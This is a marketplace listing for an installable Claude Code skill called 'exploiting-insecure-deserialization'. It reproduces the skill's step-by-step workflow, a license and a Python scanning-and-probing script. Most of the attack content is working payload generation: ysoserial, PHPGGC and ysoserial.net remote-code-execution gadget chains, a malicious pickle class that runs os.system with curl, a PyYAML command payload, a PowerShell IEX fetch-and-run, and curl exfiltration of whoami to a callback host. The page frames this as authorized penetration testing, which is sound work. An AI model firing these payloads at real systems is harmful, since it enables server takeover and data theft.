
Exploiting Insecure Deserialization
- 171 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with security tasks.
About
exploiting-insecure-deserialization is a Claude Code skill for security. It helps solo builders move faster with AI-assisted coding.
- exploiting-insecure-deserialization
- Security
- AI-coding skill
Exploiting Insecure Deserialization by the numbers
- 171 all-time installs (skills.sh)
- +15 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #841 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-insecure-deserializationAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 171 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with security tasks.
Files
Exploiting Insecure Deserialization
When to Use
- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)
- When identifying Java serialization markers (
ac ed 00 05/rO0AB) in HTTP traffic - For testing PHP applications that use
unserialize()on user-controlled input - When evaluating .NET applications using
BinaryFormatter,ObjectStateFormatter, orViewState - During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization
Prerequisites
- Authorization: Written penetration testing agreement with RCE testing scope
- ysoserial: Java deserialization exploit tool (
git clone https://github.com/frohoff/ysoserial.git) - ysoserial.net: .NET deserialization exploit tool (
git clone https://github.com/pwntester/ysoserial.net.git) - PHPGGC: PHP deserialization gadget chain generator (
git clone https://github.com/ambionics/phpggc.git) - Burp Suite Professional: With Java Deserialization Scanner extension
- Java Runtime: For running ysoserial
- Collaborator/interactsh: For out-of-band confirmation of code execution
Workflow
Step 1: Identify Serialized Data in Application Traffic
Detect serialized objects in HTTP parameters, cookies, and headers.
# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA
# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"
# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head
# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}
# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)
# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)
# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)Step 2: Test Java Deserialization with ysoserial
Generate deserialization payloads for Java applications.
# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"
# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0
# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks
# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0
# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0
# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0
# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
-b "session=$PAYLOAD" \
"https://target.example.com/dashboard"Step 3: Test PHP Deserialization with PHPGGC
Generate PHP gadget chains for common frameworks.
# List available PHP gadget chains
./phpggc -l
# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b
# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b
# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b
# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b
# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
"https://target.example.com/dashboard"
# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
# Test for type juggling with PHP unserialize
# Change string to integer: s:4:"role" -> i:1Step 4: Test .NET Deserialization
Assess ViewState and other .NET serialization vectors.
# Analyze .NET ViewState
# Check if ViewState MAC is enabled
# Unprotected ViewState starts with /wE and can be decoded
# Using ysoserial.net for .NET payloads
# (Run on Windows or via Mono on Linux)
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
-c "curl http://abc123.oast.fun/dotnet-rce" -o base64
./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
-c "whoami" -o base64
# Test ViewState deserialization
# If __VIEWSTATEMAC is disabled or machine key is known:
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
-c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64
# Insert payload into __VIEWSTATE parameter and submit form
# Check for .NET remoting endpoints
curl -s "https://target.example.com/remoting/service.rem"
# BinaryFormatter in API endpoints
# Look for Content-Type: application/octet-stream
# or application/x-msbin headersStep 5: Test Python Pickle Deserialization
Exploit pickle-based deserialization in Python applications.
# Generate malicious pickle payload
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle payload: {payload}")
# Alternative: Use pickletools for analysis
import pickletools
pickletools.dis(pickle.dumps(Exploit()))# Send pickle payload
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
def __reduce__(self):
return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")
curl -s -X POST \
-H "Content-Type: application/octet-stream" \
-d "$PAYLOAD" \
"https://target.example.com/api/import"
# Check for YAML deserialization (PyYAML)
# Payload: !!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']
curl -s -X POST \
-H "Content-Type: application/x-yaml" \
-d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
"https://target.example.com/api/config"Step 6: Confirm Exploitation and Document Impact
Validate successful deserialization attacks and document the impact chain.
# Confirm RCE with out-of-band callback
# Check interactsh/Collaborator for:
# 1. DNS resolution of your callback domain
# 2. HTTP request with command output
# 3. Timing-based confirmation (sleep commands)
# If blind, use timing-based confirmation
# Java: Thread.sleep(10000)
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
# Measure if response takes ~10 seconds longer
# Exfiltrate system info (authorized testing only)
java -jar ysoserial.jar CommonsCollections5 \
"curl http://abc123.oast.fun/\$(whoami)" | base64 -w0
# Document the gadget chain and affected library versions
# Check target classpath for vulnerable libraries:
# - commons-collections 3.x / 4.0
# - spring-core
# - hibernate-core
# - groovyKey Concepts
| Concept | Description |
|---|---|
| Serialization | Converting an object into a byte stream for storage or transmission |
| Deserialization | Reconstructing an object from a byte stream, potentially executing code |
| Gadget Chain | A sequence of existing class methods chained together to achieve arbitrary code execution |
| Magic Methods | Special methods called automatically during deserialization (__wakeup, __destruct in PHP, readObject in Java) |
| ViewState | ASP.NET mechanism for persisting page state, often containing serialized objects |
| Pickle | Python's native serialization format, inherently unsafe for untrusted data |
| URLDNS Gadget | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |
Tools & Systems
| Tool | Purpose |
|---|---|
| ysoserial | Java deserialization payload generator with multiple gadget chains |
| ysoserial.net | .NET deserialization payload generator |
| PHPGGC | PHP Generic Gadget Chains for multiple frameworks |
| Burp Java Deserialization Scanner | Automated detection of Java deserialization vulnerabilities |
| marshalsec | Java unmarshaller exploitation for various libraries |
| Freddy (Burp Extension) | Detects deserialization issues in multiple languages |
Common Scenarios
Scenario 1: Java Session Cookie RCE
A Java application stores session data as serialized objects in cookies. The rO0AB prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.
Scenario 2: PHP Laravel Unserialize
A Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.
Scenario 3: .NET ViewState Without MAC
An ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.
Scenario 4: Python Pickle in Redis Cache
A Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.
Output Format
## Insecure Deserialization Finding
**Vulnerability**: Insecure Deserialization - Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: Cookie `user_session` (Java serialized object)
**OWASP Category**: A08:2021 - Software and Data Integrity Failures
### Reproduction Steps
1. Capture the `user_session` cookie value (starts with rO0AB)
2. Generate payload: java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 encode and replace the cookie value
4. Send request; command executes on the server
### Vulnerable Library
- commons-collections 3.2.1 (CVE-2015-7501)
- Java Runtime: OpenJDK 11.0.15
### Confirmed Impact
- Remote Code Execution as `tomcat` user
- Server OS: Ubuntu 22.04 LTS
- Internal network access confirmed via reverse shell
- Database credentials accessible from application config
### Recommendation
1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead
2. Upgrade commons-collections to 4.1+ (patched version)
3. Implement deserialization filters (JEP 290 for Java 9+)
4. Use allowlists for permitted classes during deserialization
5. Implement integrity checks (HMAC) on serialized data before deserialization
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Insecure Deserialization Detection Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP requests for scanning cookies and responses |
| pickle | stdlib | Python pickle payload generation for testing |
CLI Usage
python scripts/agent.py --url https://target.example.com/dashboard \
--callback oob.attacker.com --output deser_report.jsonFunctions
detect_serialization_format(data) -> str
Identifies serialization format from a string: java_serialized, dotnet_viewstate, php_serialized, python_pickle.
scan_cookies(url, session) -> list
Fetches the URL and checks each response cookie value for serialization markers.
scan_response_body(url, method, data) -> list
Scans the HTTP response body for Java Base64 (rO0AB), PHP serialized objects, and __VIEWSTATE fields.
test_java_deserialization(url, cookie_name, callback_host) -> dict
Injects a URLDNS-style probe into a cookie to trigger DNS callback on deserialization.
test_php_deserialization(url, param_name) -> dict
Sends PHP serialized object payloads attempting role escalation.
test_python_pickle(url, param_name, callback_host) -> dict
Generates a pickle payload with __reduce__ that triggers a DNS lookup for OOB detection.
run_assessment(url, callback_host) -> dict
Orchestrates cookie and body scanning.
Serialization Markers
| Format | Magic / Prefix | Example |
|---|---|---|
| Java binary | \xac\xed\x00\x05 | Raw bytes |
| Java Base64 | rO0AB | Base64-encoded |
| .NET ViewState | /wE | __VIEWSTATE hidden field |
| PHP | O:4:, a:2: | Object/array notation |
| Python pickle | \x80 (protocol byte) | Base64-encoded |
Output Schema
{
"target": "https://target.example.com/",
"serialized_data_found": 2,
"cookie_findings": [{"name": "session", "format": "java_serialized"}],
"formats_detected": ["java_serialized"]
}#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""Insecure deserialization detection agent for identifying serialized data in HTTP traffic."""
import argparse
import base64
import json
import logging
import re
import sys
from typing import List, Optional
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
JAVA_MAGIC = b"\xac\xed\x00\x05"
JAVA_BASE64_PREFIX = "rO0AB"
DOTNET_VIEWSTATE_PREFIX = "/wE"
PHP_SERIAL_PATTERN = re.compile(r'[OaCsid]:\d+:')
def detect_serialization_format(data: str) -> Optional[str]:
"""Detect the serialization format from a string value."""
if data.startswith(JAVA_BASE64_PREFIX):
return "java_serialized"
if data.startswith("H4sIAAAAAAAA"):
return "java_gzipped_serialized"
if data.startswith(DOTNET_VIEWSTATE_PREFIX):
return "dotnet_viewstate"
if PHP_SERIAL_PATTERN.match(data):
return "php_serialized"
try:
decoded = base64.b64decode(data[:16])
if decoded.startswith(JAVA_MAGIC):
return "java_serialized_base64"
if decoded[0:1] == b"\x80":
return "python_pickle"
except Exception:
pass
return None
def scan_cookies(url: str, session: Optional[requests.Session] = None) -> List[dict]:
"""Scan response cookies for serialized data."""
sess = session or requests.Session()
resp = sess.get(url, timeout=10, verify=False)
findings = []
for cookie in resp.cookies:
fmt = detect_serialization_format(cookie.value)
if fmt:
findings.append({
"location": "cookie",
"name": cookie.name,
"format": fmt,
"value_preview": cookie.value[:60] + "...",
"domain": cookie.domain,
})
logger.warning("Serialized data in cookie '%s': %s", cookie.name, fmt)
return findings
def scan_response_body(url: str, method: str = "GET",
data: Optional[dict] = None) -> List[dict]:
"""Scan HTTP response body for serialized data patterns."""
resp = requests.request(method, url, json=data, timeout=10, verify=False)
body = resp.text
findings = []
java_matches = re.findall(r'rO0AB[A-Za-z0-9+/=]{10,}', body)
for m in java_matches:
findings.append({"location": "response_body", "format": "java_serialized", "value_preview": m[:60]})
php_matches = PHP_SERIAL_PATTERN.findall(body)
for m in php_matches:
findings.append({"location": "response_body", "format": "php_serialized", "value_preview": m[:60]})
viewstate = re.findall(r'__VIEWSTATE[^"]*"([^"]+)"', body)
for v in viewstate:
findings.append({"location": "viewstate_field", "format": "dotnet_viewstate", "value_preview": v[:60]})
return findings
def test_java_deserialization(url: str, cookie_name: str,
callback_host: str) -> dict:
"""Test for Java deserialization using a URLDNS-style detection payload."""
dns_url = f"http://{callback_host}/java-deser-test"
urldns_marker = base64.b64encode(
JAVA_MAGIC + b"\x00\x00\x00" + dns_url.encode()
).decode()
resp = requests.get(url, cookies={cookie_name: urldns_marker},
timeout=10, verify=False)
return {
"test": "java_urldns_probe",
"cookie_name": cookie_name,
"callback_host": callback_host,
"response_status": resp.status_code,
"note": f"Check {callback_host} for DNS callback to confirm deserialization",
}
def test_php_deserialization(url: str, param_name: str) -> dict:
"""Test PHP deserialization with a role escalation payload."""
payloads = [
'O:4:"User":2:{s:4:"name";s:4:"test";s:4:"role";s:5:"admin";}',
'a:1:{s:4:"role";s:5:"admin";}',
'b:1;',
]
results = []
for payload in payloads:
encoded = base64.b64encode(payload.encode()).decode()
resp = requests.get(url, params={param_name: encoded}, timeout=10, verify=False)
results.append({
"payload_type": "php_object" if payload.startswith("O:") else "php_array",
"status_code": resp.status_code,
"content_length": len(resp.content),
})
return {"test": "php_deserialization", "parameter": param_name, "results": results}
def test_python_pickle(url: str, param_name: str, callback_host: str) -> dict:
"""Test Python pickle deserialization with an OOB detection payload."""
import pickle
import os
class Probe:
def __reduce__(self):
return (os.system, (f"nslookup {callback_host}",))
payload = base64.b64encode(pickle.dumps(Probe())).decode()
resp = requests.post(url, data={param_name: payload}, timeout=10, verify=False)
return {
"test": "python_pickle_probe",
"parameter": param_name,
"callback_host": callback_host,
"response_status": resp.status_code,
"note": f"Check {callback_host} for DNS callback",
}
def run_assessment(url: str, callback_host: str = "") -> dict:
"""Run a full deserialization assessment."""
cookie_findings = scan_cookies(url)
body_findings = scan_response_body(url)
return {
"target": url,
"serialized_data_found": len(cookie_findings) + len(body_findings),
"cookie_findings": cookie_findings,
"response_body_findings": body_findings,
"formats_detected": list(set(
f["format"] for f in cookie_findings + body_findings
)),
}
def main():
parser = argparse.ArgumentParser(description="Insecure Deserialization Detection Agent")
parser.add_argument("--url", required=True, help="Target URL to scan")
parser.add_argument("--callback", default="", help="OOB callback host for exploitation tests")
parser.add_argument("--output", default="deserialization_report.json")
args = parser.parse_args()
report = run_assessment(args.url, args.callback)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()